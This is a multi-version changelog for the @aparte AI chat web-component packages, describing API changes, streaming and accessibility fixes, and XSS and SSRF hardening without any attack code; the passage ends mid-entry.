Every @aparte/* package ships at this version (they are released in lockstep).
Minor Changes
-
583840f: New entry point
@aparte/plugin-shiki/core, for control over what you ship.The convenience entry imports
shiki, whose bundle maps every known language to a dynamic import — so a bundler emits one chunk per grammar. Measured on a build whose only import wassetupShikiProvider: 302 files, 11 MB (emacs-lispalone is 780 kB, pluswasm,wolfram,vue-vine… for a chat that will show twenty languages). The same build against a highlighter carrying three grammars: 1 file, 560 kB.No runtime option can fix that — verified rather than assumed: restricting shiki’s
langsstill emitted all 302 files, because a static import is a static import. So the fix is an entry point that never imports the bundle:import { createHighlighterCore } from "shiki/core";import { createJavaScriptRegexEngine } from "shiki/engine/javascript";import ts from "@shikijs/langs/typescript";import githubDark from "@shikijs/themes/github-dark";import { setupShikiProviderFromHighlighter } from "@aparte/plugin-shiki/core";setupShikiProviderFromHighlighter(await createHighlighterCore({themes: [githubDark],langs: [ts],engine: createJavaScriptRegexEngine(),}),);@aparte/plugin-shiki/coreimports nothing fromshikiat runtime (types only, and those are erased). The trade is stated where you make it: your highlighter’s grammars are fixed, so a language it does not carry renders as plain text — there is no on-demand load to fall back on. Everything else matches the convenience entry, plaintext aliases and case-insensitive matching included.Nothing is removed and no default changes:
setupShikiProviderbehaves exactly as before. Its JSDoc — and the plugin’s docs page — stop implying that lazy loading also means a small package: “you pay only for the languages you render” was true of runtime, never of distribution.@aparte/plugin-shiki
Version-only bumps (no changes of their own): @aparte/core, @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-transformers, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr.
0.5.0-alpha.0
Every @aparte/* package ships at this version (they are released in lockstep).
Minor Changes
-
cd7adfc: Only the affordances core can honour end-to-end are enabled by default. A button that answers to nobody is worse than a missing feature — the user clicks it and concludes the app is broken. Six controls were in that state, and the proof it had gone unnoticed is that not one of our own six playgrounds handled
aparte-message-info,aparte-attachment-previeworaparte-terminal-run.Core copies text on its own, so
copystays on. Everything else now waits for the app to say it is there:Control Needs Was Now retrya host that re-sends on off edita host that keeps the new text on off info(ⓘ)your stats popover on, and unremovable off image-tile preview your lightbox always off terminal Runyour executor always off download on a binary artifact your file generator always off Edit was the worst of them: it opened, accepted text, saved — and the original text came back, because replacing it is the client’s job.
Migration — if you run
AparteClient(or handle the events yourself), one line restores the action bar you had:AparteConfig.setBubbleActions({ retry: true, edit: true });and for the three affordances outside the bar, declare what you handle:
AparteConfig.setHostHandlers({attachmentPreview: true,terminalRun: true,artifactRedownload: true,});No event and no API was removed — core just stops offering what nobody answers. Also in this release:
infois a bubble action like the others. It was pushed at the tail of the flag branch: impossible to turn off, and impossible to request in an explicit per-role list ('info'was not anAparteBubbleActionName). Both directions work now.- A declared image tile is a real button —
role="button", a tab stop and Enter/Space — instead of a<div>with a click listener. Undeclared, it carries no role and no pointer cursor: half-signalling is the same lie in a quieter voice. - An empty action bar is no longer rendered. With every action off it stayed as a
role="toolbar"holding nothing and still reserved 28px under every bubble. The bar and the footer now follow their contents (a branch picker alone still gets its row). - New exports:
setHostHandlers/getHostHandlers,DEFAULT_BUBBLE_ACTIONS,DEFAULT_HOST_HANDLERS— read the defaults instead of hard-coding them.
Untouched on purpose:
copyon a terminal segment, download on a text artifact, the‹1/2›branch picker, the waiting indicator, the stop button and the model selector — core honours all of those itself.@aparte/core -
3edb766: The built-in segment renderers install themselves the first time a segment needs one.
registerDefaultRenderers()had exactly one caller:new AparteClient()— the object the bring your own loop guide tells you not to construct. A display-only app therefore rendered[Unknown segment type: text]for every reply, with working bubbles, working streaming and working scroll, so the only thing missing was the content and it read as a bug in the consumer’s own loop. The bring your own loop guide never mentioned the call either — it was documented as required on the Getting-started page (and in both READMEs), so this was one path missing a note, not an undocumented API. But a required call whose only correct answer is always “yes, call it” is ceremony, not a decision: nobody wantstextsegments rendering as[Unknown segment type: text].The sweep is strictly additive: a renderer you registered yourself is never replaced, so a custom
textrenderer survives the install acodesegment triggers.registerDefaultRenderers()still works and is still what the examples do — it is simply no longer the difference between a chat that renders and one that doesn’t.AparteClient({ autoRegister: false })still means what it says: declining is remembered, so nothing installs the built-ins later. Do it at startup, before the first segment renders.The unknown-type warning now names the fix for the case that remains (a type core has never heard of) instead of pointing at a call you no longer need.
@aparte/core
Patch Changes
-
3b026bb: Fix: streaming a segment with
appendToSegmentwrote every chunk twice — in the message model and on screen (“BonjourBonjour le le monde”), which shows up as a word appearing twice as the reply streams in.One object, two writers.
addSegmenthands the same segment object to the message model and to the bubble, andappendToSegmentthen advances it from both ends: the viewport appended the chunk in place, and the bubble — holding that very object — appended it again. On the framework-managed path a third writer joined in, the coalesced once-per-frame state sync, which added the chunk on top of content that already had it.Both sides now own the value they advance: the viewport replaces the segment instead of mutating it, and the per-frame sync writes an absolute target (captured before the paint) rather than a delta. Same two writes, same single render per frame — no shared mutable state between them.
Why no test caught it:
AparteClientnever callsappendToSegment. It writes segment text withupdateSegment(absolute content), so every path our own examples and browser suite exercise went around this one —appendToSegmentis the API a caller driving its own loop uses. Its only unit coverage ran against a mocked viewport, and a paint that writes nothing cannot double-count. The regression tests added here drive the real viewport and the real bubble, on both the raw-core and the framework-managed path, and assert exact text rather than a substring — the weakness that also let the browser suite stay green.@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-transformers, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr.
0.4.0-alpha.0
Every @aparte/* package ships at this version (they are released in lockstep).
Minor Changes
-
50d90a8: The waiting state now exists. Between “user sends” and the first token there was a bubble with a name and an empty body — and, in the display-only path, copy/retry on a reply that hadn’t happened. The bubble now shows a built-in indicator while it is in flight with nothing in it: animated dots (CSS, so no per-token work, themable via
--aparte-waiting-*, and already covered by the reduced-motion rule) plus a screen-reader label taken fromlocale.typing— a string that shipped inDEFAULT_LOCALEand was read by nothing until now.No wiring: it works in raw
<aparte-chat>, in the four wrappers, and in a hand-rolled loop.<aparte-chat-status>/isTypingstay your channel for your own status (“indexing your files”), which is why they are not auto-driven.New export
isAwaitingReply(message)— the one rule core and all four wrappers now share for “is this bubble in flight”. Besidesstatus: 'streaming' | 'pending', it also covers an assistant message with nostatusat all and nothing in it: the empty shell a token stream is about to fill. That case used to render as a finished reply, action bar included. Only silence is interpreted — an explicit status,'completed'on an empty message included, is believed.If you deliberately append empty assistant bubbles that no stream will fill, give them an explicit
status(e.g.'completed') or they will show the indicator.@aparte/core -
cda5f54:
<aparte-chat>gained anattachmentsattribute: it adds the file picker (<aparte-composer-add-attachment>) and the chips strip (<aparte-composer-attachments>) to the default composition, in their canonical positions. It is reactive — toggling it after mount inserts or removes the two primitives, and removing it also drops any file already staged in the composer (keeping them would send files with nothing in the UI showing them).Nothing changes without the attribute: the default composition is still
viewport + composer(input · send). Attachments are opt-in because the capability needs a host that consumes the files — anAparteClientinlines them per itsrawFileInjectoption, but a hand-rolled loop has to readevent.detail.filesor the user’s file is dropped in silence. Composing your own composer? Keep dropping the two primitives in wherever you want them, as before.@aparte/core -
e9909c6: New exported helper
filesToAttachments(files): turns theFile[]anaparte-sendevent carries into theAparteAttachment[]a bubble renders (id, MIME type, object URL, and the rawFilekept for storage adapters).This conversion already existed inside
ConversationController, so framework wrappers had it — but a raw-core consumer drivingappendMessage()itself had to hand-roll object URLs, and silently rendered attachment-less bubbles if it didn’t (the vanilla playground did exactly that). The controller now uses the same helper, so there is one implementation.@aparte/core -
fcacade:
runStreamAgentgained an optionalonHistoryAppendhook: it reports every turn the loop appends to the history — the groupedtool_callenvelope, eachtool_result(resolved or rejected), and a pipeline phase’s reply — in order, and always before the transport call that would carry it. Messages you passed inbaseRequestare never reported: you already have them.This makes the loop usable by hosts that own their own transcript. It re-sends its message array every turn, which fits a stateless message API but not a prefix cache (llama.cpp slots, vLLM), where turn N+1 must extend turn N byte for byte. Such a host already controlled the request —
transportCallmay ignorerequest.messages— but had to reimplement the loop’s tool_call/tool_result bookkeeping to keep its own log in sync. Now it just mirrors the notifications.No core change is needed to use it through the
streamRunnerseam:streamRunner: (opts) => runStreamAgent({ ...opts, onHistoryAppend }). Omitting the hook leaves behaviour byte-identical — pinned by a test that compares the event stream and the per-turn requests with and without it.@aparte/engine -
0aa386e: Behavior change: the default composer shell no longer mounts the file picker. All four wrappers gained an
attachmentsprop (falseby default) that adds<aparte-composer-add-attachment>+<aparte-composer-attachments>back.Migration: if your chat offers file attachments, add the prop —
<AparteChat attachments />(React/Svelte),<AparteChat attachments />/:attachments="true"(Vue),<aparte-chat attachments>(Angular). Passing your owncomposeris unaffected: you place the primitives yourself, as before.Why: the picker was hard-coded in the four wrapper templates while core’s own
<aparte-chat>default shell never had it — so “the default composer” meant two different things depending on where you looked, and the docs described the wrong one. And the capability is only real if the host consumes the files: anAparteClientinlines them per itsrawFileInjectoption, but an app driving its own loop must readevent.filesor the file the user deliberately attached is dropped in silence, with the UI still showing it was sent. Opting in is now that acknowledgement.@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue
Patch Changes
-
358bc53:
appendToSegmentno longer costs a full framework render per token. It used to rebuild the message list and callsetMessages+onMessagesChangeon every chunk — while the plain-text path (appendToken/injectTokenStream) wrote straight into the bubble. Streaming a thinking block or a tool pill from a fast local model was therefore unusable, and nothing in the imperative API hinted that the two methods differed so much.Chunks now go straight to the bubble as before-and-immediately, and the framework state is synced once per frame (
requestAnimationFrame, falling back to a macrotask where it doesn’t exist). Any structural change — a new segment, a new message, a conversation swap — flushes the buffer first, so ordering is never observable. Consumers that wrote their own rAF batcher around this can drop it.The JSDoc and the “Bring your own loop” guide also state what was undocumented: segments and
contentare mutually exclusive at render time.@aparte/core -
801622a: Swapping a branch no longer conjures a scroll-to-bottom button on a transcript you are already at the bottom of, and no longer drops you away from the bottom while the new version renders.
Two things were wrong.
navigateBranchturned auto-follow off unconditionally so a rebuild wouldn’t yank a reader who had scrolled up — but doing that to a reader who was at the bottom left them behind (a rebuild’s height flickers: measured at 1730 → 1934 → 1730px on the React wrapper as the swapped-in bubble renders and settles) and, since the button mirrored that flag, offered them a scroll to nowhere. It now keeps auto-follow when you were at the bottom, and only disables it when you weren’t.And the button stopped mirroring the flag at all: it asks the geometry (“is anything below the fold?”) on every scroll and on every post-mutation frame. The flag is intent, the button is a fact; mirroring one with the other made it lie whenever they diverged. This was most visible in the four wrappers, where the post-swap re-derive never ran (the framework owns the DOM, so that code path returned early), but the flag could go stale in raw core too.
@aparte/core -
0d4945f: Two attachment-rendering fixes in the message bubble:
- Alignment: a user message’s attachment strip was anchored to the trailing edge while the user bubble hugs its text on the leading edge — one message split across both sides of the transcript (a chip on the right, the text bubble on the left). The strip now shares the bubble’s edge.
- Standalone
appendMessage(): the viewport created the bubble from attributes only, silently dropping the message’sattachments,segmentsandusage. It now runs the samepopulateBubbleFromMessagesync the framework-managed path uses, so an imperatively appended message renders in full (bring-your-own-loop consumers were getting text-only bubbles).@aparte/core
-
de57a6a: Fix a pending assistant bubble showing its action bar (copy/retry) and no busy state in every framework wrapper. A wrapper creates
<aparte-chat-bubble>with its attributes already set, sostreamingarrived before the element rendered its inner DOM — and_updateStreaming()had no.aparte-messageto write to, sodata-streaming,aria-busy="true"and the class that hides the footer were silently dropped for the whole turn. The state is now re-applied when the inner DOM is built.Visible effect: an empty, still-streaming reply no longer offers Copy/Retry, and screen readers get
aria-busywhile the answer is being generated.@aparte/core -
af5ed3d:
@aparte/corenow declaressideEffects(it was the only one of the 14 packages without it, so bundlers had to treat every module as side-effectful and could not tree-shake it). The browser entry and the CSS are listed as effectful — they define the custom elements — and everything else, including the DOM-free Node entry, is pure.The README gains a Node / SSR section: the
nodeexport condition, what the server entry keeps (client, host, transports,createAparteChatHandler, runtime, types) and what it drops (the custom elements, withregisterAllComponents()a safe no-op). The capability already existed and was invisible — readingsrc/index.tsshows the browser entry, which is how a consumer concludes the opposite.@aparte/core -
2336bc5: A partial
AparteIconProviderno longer breaks the bubble action bar.getIcon()always fell back to the built-in SVGs for icons a provider didn’t implement, butgetIconProvider()— what the action bar reads, calling each icon directly — handed back the registered provider verbatim, so a provider covering only some icons threwicons.retry is not a function. It now returns a complete set, falling back per icon.Consequently every key on
AparteIconProvideris now optional, which is what the runtime always supported (and what the interface’s own example showed). Full providers keep type-checking unchanged; partial ones stop needingas any.@aparte/core -
79b2795: Accessibility fixes in
<aparte-select>(and therefore the model selector), all found by axe-core scanning an open dropdown:- the
listboxrole moved from the dropdown shell to the options container, so the search field is no longer an invalid child of a listbox (critical); - the
comboboxtrigger now declares thearia-controlsit is required to have, and the listbox carries its own accessible name (critical / serious); <aparte-optgroup>names itself witharia-labelledbyinstead of puttingaria-labelon its header div, which had turned a generic node into an invalid listbox child (critical);- the selected option no longer paints white text on the brass accent (≈3.4:1 in
light, worse in dark). It now uses an accent tint plus an inset accent bar and
keeps the theme’s text colour.
--aparte-select-option-selectedand--aparte-select-option-selected-textstill override both.
Known remaining gap: collapsing a provider group is pointer-only (the group header is not focusable).
@aparte/core - the
-
9f839e4: Fix send routing when several chats share a page.
AparteClient._handleSendresolved the event’stargetIdby requiringappendMessageon that element, but an<aparte-chat>shell owns noappendMessage— it delegates to its.viewport. Everytarget-attributed send therefore logged a warning and fell through to a DOM scan that returns the first chat on the page, so with two chats mounted one chat’s reply rendered inside the other. Send now uses the same resolver as retry/edit (which had already been fixed for this).@aparte/core -
80995ea:
injectTokenStream/streamTokensnow keep the framework’s message list in sync. They pushed every token to the viewport and told the framework nothing: the DOM held the reply while React/Vue/Svelte state still hadcontent: ''. Anything re-rendering from state wiped the visible answer,getMessages()lied, persistence saved an empty message — and a custom bubble (renderBubble, driven by that state) showed nothing at all.Same discipline as
appendToSegment: each token reaches the bubble immediately, the state is synced once per frame, and a flush is guaranteed before completion, on abort, and before any structural change. Both stream channels now fold into a single list update, so a frame carrying tokens and segment chunks still costs one render. A stopped stream keeps what was already streamed (truncated, not erased), and the sync targets the stream’s own message id rather than “the last message”.@aparte/core -
118d4fb: Editing a message now updates the bubble that shows it.
AparteChatViewportforwarded an atomicupdateMessage()to the rendered bubble only when the payload carriedstatusorsegments, so an edit — which sends{ content }— updated the message repo (and therefore the history sent to the model) while the transcript kept displaying the old wording.content,attachmentsandusageupdates are forwarded too now.Standalone/raw-core consumers were affected; framework wrappers re-render bubbles from their own state, which masked it.
@aparte/core -
8286e3f: Two provider contracts now say what they actually do.
createOpenAICompatProviderreturnsAparteAIProvider & AparteFormatAdapter. The factory has always suppliedbuildRequest/parseStream/authHeaders/defaultEndpoint, but the declared type left them optional (right forAparteAIProviderin general, since a provider may own its I/O throughchat()) — so callers driving the adapter themselves had to add!or write a check that cannot fail.@aparte/provider-transformerswarns once when it dropstool_call/tool_resultturns from the prompt. Tool calling is out of scope for v1, but the turns were filtered silently: an app with registered tools got a model that never saw the call or its result, with nothing to explain it.@aparte/provider-openai-compat,@aparte/provider-transformers -
bebc201: Usage is no longer lost on a turn that ends with a tool call.
parseStreamemitteddoneand returned as soon as it sawfinish_reason: 'tool_calls'— but underinclude_usage(whichbuildRequestrequests) the usage-only chunk arrives after the finish chunk, sodone.usagewasundefinedfor every tool-call turn. On a chat that goes unnoticed; on an agent it is most turns. The parser now emits thetool_useevents and keeps reading, so the singledonecarries the usage (includingcacheReadTokens).@aparte/provider-openai-compat -
50d90a8: The waiting state now exists. Between “user sends” and the first token there was a bubble with a name and an empty body — and, in the display-only path, copy/retry on a reply that hadn’t happened. The bubble now shows a built-in indicator while it is in flight with nothing in it: animated dots (CSS, so no per-token work, themable via
--aparte-waiting-*, and already covered by the reduced-motion rule) plus a screen-reader label taken fromlocale.typing— a string that shipped inDEFAULT_LOCALEand was read by nothing until now.No wiring: it works in raw
<aparte-chat>, in the four wrappers, and in a hand-rolled loop.<aparte-chat-status>/isTypingstay your channel for your own status (“indexing your files”), which is why they are not auto-driven.New export
isAwaitingReply(message)— the one rule core and all four wrappers now share for “is this bubble in flight”. Besidesstatus: 'streaming' | 'pending', it also covers an assistant message with nostatusat all and nothing in it: the empty shell a token stream is about to fill. That case used to render as a finished reply, action bar included. Only silence is interpreted — an explicit status,'completed'on an empty message included, is believed.If you deliberately append empty assistant bubbles that no stream will fill, give them an explicit
status(e.g.'completed') or they will show the indicator.@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
73ecd4e: Fix the
aparte-*JSX types under React 19. The wrapper declared its custom elements only in the legacy globalJSXnamespace, which React 19 no longer consults (React.JSXreplaced it) — so any React 19 consumer writing<aparte-composer-input />(for instance to slot a custom composer) gotTS2339: Property 'aparte-composer-input' does not exist on type 'JSX.IntrinsicElements', despite the peer range advertising^18 || ^19. The element list is now declared once and merged into both namespaces, so React 18 and 19 consumers both see it.The blind spot is closed too: the package is developed against
@types/react19 (its own JSX would fail to compile without the augmentation), and the React playground’s typecheck — now part of the gate — covers the consumer-side case.@aparte/react
Version-only bumps (no changes of their own): @aparte/provider-ai-sdk, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/locale-fr.
0.3.0-alpha.0
Every @aparte/* package ships at this version (they are released in lockstep).
Minor Changes
-
d4c448b: New
fileInjectFilteronAparteClientOptions: a per-file veto on top of therawFileInjectmode. Called for each attached file the mode would inline into the request; returnfalseto keep it out (the file still rides on theaparte-sendevent for the application layer). Lets a host keep the default inline UX while blocking sensitive names (.env, keys, certs).@aparte/core -
7227dee: New
AparteConfig.resetLocale(): restores the built-in English locale after asetLocale(...)call, without having to importDEFAULT_LOCALEyourself. Notifies mounted components like every other live setter.@aparte/core -
7227dee:
AparteAIProvider.getModels()is now typed synchronous-only (AparteAIModel[]). ThePromise<AparteAIModel[]>form was silently ignored bygetCurrentModel(): an async provider lost its capability list (e.g.function_calling), which disabled tools with no error or warning. Async model fetching belongs infetchModels()(consumed byAparteConfig.refreshProviderModels()and the model-selector). Plain-JS consumers that still return a Promise now get an explicitconsole.warninstead of a silent failure. All bundled providers already complied.@aparte/core
Patch Changes
-
0192d63:
injectTokenStream/stopTokenStreamnow carry real JSDoc on the canonicalAparteChatImperativeApi(shipped in the.d.ts, so it surfaces in every wrapper): the viewport auto-creates a missing assistant message internally only, so wrappers shouldappendMessageexplicitly before injecting. A new “Bring your own loop” docs guide covers the display-only mode end to end.@aparte/core -
622dc78:
<aparte-select>’s combobox trigger now carries an accessible name (axearia-input-field-name, serious): the host’saria-labelwhen provided, falling back to theplaceholder. Screen readers previously announced the model selector as an unnamed combobox.@aparte/core
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-transformers, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr.
0.2.0-alpha.0
Every @aparte/* package ships at this version (they are released in lockstep).
Minor Changes
-
930a108: Harden the server-side
createAparteChatHandler: add an optionalauthorize(req)gate that runs before any work (returnfalsefor a 401, aResponsefor a custom rejection, ortrueto proceed) so you can put auth in front of the key-spending/api/chatroute, and guard the vendor URL build against an adapter returning a non-rooted request path (SSRF) by rejecting anything that isn’t a single-rooted path.@aparte/core -
4aac26d: Add the
<aparte-chat>shell — the container element for a chat. Wrap a viewport and a composer in it and it lays them out as a flex column; leave it empty and it fills in a default composition:<!-- default composition --><aparte-chatcenter-emptyplaceholder="Say something…"style="height: 600px"></aparte-chat><!-- or your own primitives inside, still laid out + center-empty --><aparte-chat center-empty><aparte-chat-viewport></aparte-chat-viewport><aparte-composer>…</aparte-composer></aparte-chat>Being a component, it owns behaviour a wrapper
<div>can’t: with the opt-incenter-emptyattribute it watches its own viewport and keeps the composer centered as a welcome state until the first message, then slides to the normal layout — no external JavaScript. Presentational only (no transport wiring);placeholder/disabledforward to the composer, and.viewport/.composergetters expose the composed elements.@aparte/core -
a2ed74b: Ship clean inline-SVG default icons (copy, retry, edit, send, thumbs up/down, and the rest) in
DEFAULT_ICON_FALLBACKS, so the chat looks right out of the box with no icon plugin — still zero runtime dependencies, since an inline SVG is just a string. Override any icon viasetIconProviderwith any HTML (SVG, an icon-font<i>, an emoji or an<img>— the value is treated as trusted markup).@aparte/core -
a6ed936: One canonical imperative contract for
<AparteChat>across the four wrappers.@aparte/corenow exportsAparteChatImperativeApi— the ~20-method surface every framework handle delegates toAparteChatHost. React’sAparteChatHandleand Vue/Svelte’sAparteChatInstanceare now type aliases of it, and the Angular componentimplementsit, so any per-wrapper drift (a missing or mistyped method) is a compile error instead of a silent divergence.Angular parity: adds the imperative
setConversationId(id)method (theconversationId@Inputremains the declarative path), closing the one gap where Angular’s handle differed from the other three.@aparte/core,@aparte/angular -
7157ad5: Unify every custom DOM event to one kebab-case convention and type it.
The public event surface used three conventions — kebab (
aparte-send), colon (aparte:retry,aparte:action,aparte:artifact-*, …) and separatorless (apartemessagestart/done/error/aborted). They are now all kebab-case:aparte:*→aparte-*(e.g.aparte:retry→aparte-retry,aparte:action→aparte-action,aparte:tool-decision→aparte-tool-decision).apartemessagestart|done|error|aborted→aparte-message-start|done|error|aborted.- Already-kebab events (
aparte-send,aparte-select-*,aparte-model-change, …) are unchanged.
Kebab is the only convention every framework can bind in a template — Angular parses a
:in an event name as atarget:eventselector, so colon events could never be(aparte:x)-bound there.New: an
HTMLElementEventMapaugmentation ships with@aparte/core, soelement.addEventListener('aparte-retry', e => e.detail)gives a typede.detail(no more(e as CustomEvent<…>).detailcast) for the public bubble / lifecycle / artifact / tool events.Breaking: any consumer listening on the old colon or separatorless names must rename to kebab. Pre-1.0, so shipped as minor.
@aparte/core,@aparte/plugin-model-selector,@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue -
69525ad: Zero-dependency web components for AI chat: bubble, composer, viewport, conversation list, and elicitation, with a transport seam (
DirectTransport/BackendTransport) and a customization surface (render hooks, action registry, theming via CSS custom properties). Ships ESM plus a Node/SSR-safe entry and a custom-elements manifest.@aparte/core -
d31f681: Give the base chat container layout to both host shapes core already recognises, from one rule. Core resolves the chat host via the selector
aparte-chat, [data-aparte-chat](the vanilla<aparte-chat>element and the<div data-aparte-chat>roots the framework wrappers render); the base flex-column layout (fill the parent, viewport scrolls internally, composer pinned to the bottom) now keys on that same selector inaparte.css. This fixes React, whose wrapper container previously had no base layout, and lets the Vue and Svelte wrappers drop their scoped component CSS — every wrapper gets consistent layout from the one stylesheet consumers already import, with no wrapper-specific class.@aparte/core -
e69435f: Make the
<aparte-chat>shell framework-safe: it no longer injects its default viewport + composer when the element carriesframework-managed. A framework wrapper whose component selector isaparte-chat(the Angular one) has its host upgraded by core, and its children only render afterconnectedCallback— so the existing “author-provided composition wins” check cannot see them, and the default composition was being injected underneath the wrapper’s own. Reuses the sameframework-managedsignal<aparte-chat-viewport>already takes.@aparte/core -
bfa9901: Theme every part of the chat from CSS. The message surface is now a
.aparte-message-contentregion (attachments sit above it as a sibling, the avatar is opt-in — empty by default), and every theme value flows through a CSS custom property: colour, spacing, font size / weight / line-height, control sizes, radii and border widths. No hardcoded theme literals remain — only structural geometry (100%,50%radii, the spinner stroke). New scales:--aparte-space-*,--aparte-font-size-*,--aparte-font-weight-*,--aparte-line-height-*.BREAKING: the
--aparte-bubble-*theme variables are renamed to--aparte-message-content-*.@aparte/core -
554e4e9: Remove the deprecated
<aparte-chat-input>element (AparteChatInput). It was the legacy monolithic composer — 653 lines ofinnerHTML-heavy code that auto-registered on import into the zero-dep core, was untested, and predated the modern<aparte-composer>+<aparte-chat>composition. It is no longer exported, registered, or styled; the elicitation panel and the client’s target resolution already preferred<aparte-composer>and simply drop the legacy fallback. Reclaims bundle size and removes an untested surface from core.Breaking (pre-1.0, shipped minor): consumers still on
<aparte-chat-input>should move to<aparte-chat>(or<aparte-composer>directly). TheAparteInputConfigtype stays.@aparte/core -
f8a6dd7: De-duplicate the wrappers’
AparteUiprop-applier. The four wrappers each carried a byte-identical vanilla-DOM prop applier + event list; they’re now in@aparte/coreasapplyElementProps(el, props, transformValue?)andDEFAULT_UI_EVENTS. Vue passestoRawas the transform to unwrap its reactive proxy. No public wrapper API change.@aparte/core -
d60e2c8: Type the request
_metachannel.AparteChatRequest._metais nowAparteRequestMetainstead ofRecord<string, unknown>: the five well-known keys (pipeline,prefixSegments,artifactHint,artifactRaw,artifactXml) are typed and documented, while an open index signature keeps it a channel for consumer-specific context. New exported types:AparteRequestMeta,ApartePipelinePhase,AparteArtifactHint.@aparte/core -
e8d9b32: Unify custom action registration into one zoned API.
A single
registerAction(action)now places a button viazones: ('composer' | 'bubble')[], with per-zone options (composer: { position, hidden },bubble: { roles }). Every action emits the declarativeaparte-actionevent (now carryingzone), with an optionalonClickcallback fired alongside for convenience.Breaking:
registerBubbleAction,getRegisteredBubbleActionsandunregisterBubbleActionare removed, and theAparteBubbleActiontype is merged intoAparteAction(usezones: ['bubble']+bubble.roles).getActions(zone)now requires a zone argument.@aparte/core -
1573645: One imperative API across the four wrappers:
injectTokenStreamnow takes the cross-wrapperAsyncIterable<string>contract on Angular too (the RxJSObservable<string>shape still works — it’s a union).- Angular
provideAparte()auto-connects the client on app init (autoConnect: falseto opt out); no more manualAparteAiService.connect()in components.connect()stays as the idempotent escape hatch. - The viewport accessor is
getViewport(): HTMLElement | nulleverywhere. Breaking: it replaces React’shandle.viewportproperty and Vue’s exposedviewportref. - The Vue/Svelte
AparteChatInstanceinterfaces now include the full imperative surface (scrollToBottom,focusInput,getViewport). AparteUiHandle(andAparteUiPropswhere idiomatic) exported from every barrel, not just React’s.@aparte/angular,@aparte/react,@aparte/svelte,@aparte/vue
Patch Changes
-
6ab5682: Round-3 audit follow-ups (bounded fixes):
- Cross-wrapper parity is now compile-enforced on all four wrappers (was only React +
Angular): Vue’s
defineExposeusessatisfies AparteChatImperativeApi, Svelte adds a type-checked parity factory. A dropped/mistyped method is now a build error in every wrapper — and theAparteChatImperativeApiJSDoc no longer overstates the guarantee. - core:
AparteConfig.unregisterAIProvidernow_notify()s (a mounted model-selector drops the removed provider instead of showing a stale list);<aparte-select>resolves its selected label by iterating options instead of an interpolated attribute selector (a model id containing"/]no longer throwsSyntaxError). - docs/JSDoc hygiene: removed three shipped references to non-existent
@aparte/plugin-{skeleton,icons}-defaultpackages; fixed theuseAparteChat@examplethat re-appended the user message (double-append); the three AI-provider READMEs now call@aparte/corea required peer dependency (it’s a runtime import), not an “optional peer”.@aparte/core,@aparte/react,@aparte/svelte,@aparte/vue
- Cross-wrapper parity is now compile-enforced on all four wrappers (was only React +
Angular): Vue’s
-
4065fd6: Bound the binary-artifact preview cache.
_binaryArtifactCacheheld full file buffers (pdf/xlsx/docx) keyed by segment id and was never evicted, so a long session generating many binary artifacts grew memory for the page’s lifetime. It’s now capped (LRU-ish: cap 24, oldest evicted on insert, re-insert refreshes recency).@aparte/core -
307039b: Fix a small memory leak in the segment renderers: two internal per-segment throttle maps (syntax-highlight and artifact-dispatch debouncing) grew one entry per streamed segment for the page’s lifetime. They’re now bounded and evict oldest like the neighbouring binary-artifact cache, so long-running sessions no longer accumulate them.
@aparte/core -
333d301: Tighten the client’s typing: the four near-identical local target interfaces (
AparteChatElement/RetryTarget/EditTarget/CompactTarget) are consolidated into the one module-levelAparteChatTargetElement, which removes ~two dozen gratuitous(target as any).methodcasts; the threecatch (err: any)becomecatch (err: unknown)with narrowing; and(segment as any).contentreads become a typed{ content?: string }cast. No behaviour change — pure typing rigor (theas anys were papering over methods the element already declares). Drops the repo’sno-explicit-anywarning count from ~63 to ~39.@aparte/core -
14f1f1d: Collapse the triplicated send / retry / edit tail into one
_streamTurnhelper._handleSend,_handleRetryand_handleEditeach re-implemented the same provider → tools → request-interceptor →toolChoice:'none'strip → reset-abort →aparte-message-start→_streamLoop→aparte-message-done/ lifecycle-error sequence. They now share one private method, so that flow can’t drift between the three entry points. As part of it,_handleSenduses the shared_resolveAuthhelper and resets the abort flag before streaming — the two divergences the audit flagged (a documented past drift). No behavior change on the happy path (verified: 867 unit incl. the retry/edit suites + parity, and 27/27 browser E2E).@aparte/core -
18d2065: Enforce lint at zero warnings (
eslint . --max-warnings 0) and clear the 37no-explicit-anybacklog — each replaced with a precise type or, where DOM / custom-element interop genuinely requires it, a structuralunknowncast (no blanketanydisables). A few public types are tightened fromanyto a precise type orunknown(e.g.AparteCustomSegment.data,AparteErrorcontext) — a type-safety improvement with no runtime change.@aparte/core -
6d6123e: Fix an XSS sink: the chat bubble’s public
nameattribute was interpolated raw intoinnerHTMLon initial render, while every sibling field (attachment names, etc.) was escaped. An app that binds an untrusted author/persona name intonamewould ship a script injection. Escaped it, consistent with the other fields, + a regression test.@aparte/core -
97bd6c5: Escape three more consumer/stream-supplied fields that reached innerHTML unescaped: the composer action
labeland inputplaceholder(attribute positions) and amessage-idCSS attribute-selector in the viewport (nowcssEscaped like its siblings). Harden the bubble / conversation-list / attachment escape helpers to also escape'. Add a best-effort.catchto the fire-and-forget syntax-highlight and clipboard promises so a rejecting highlighter or clipboard write degrades silently instead of an unhandled rejection.@aparte/core -
8417976: Harden the internal
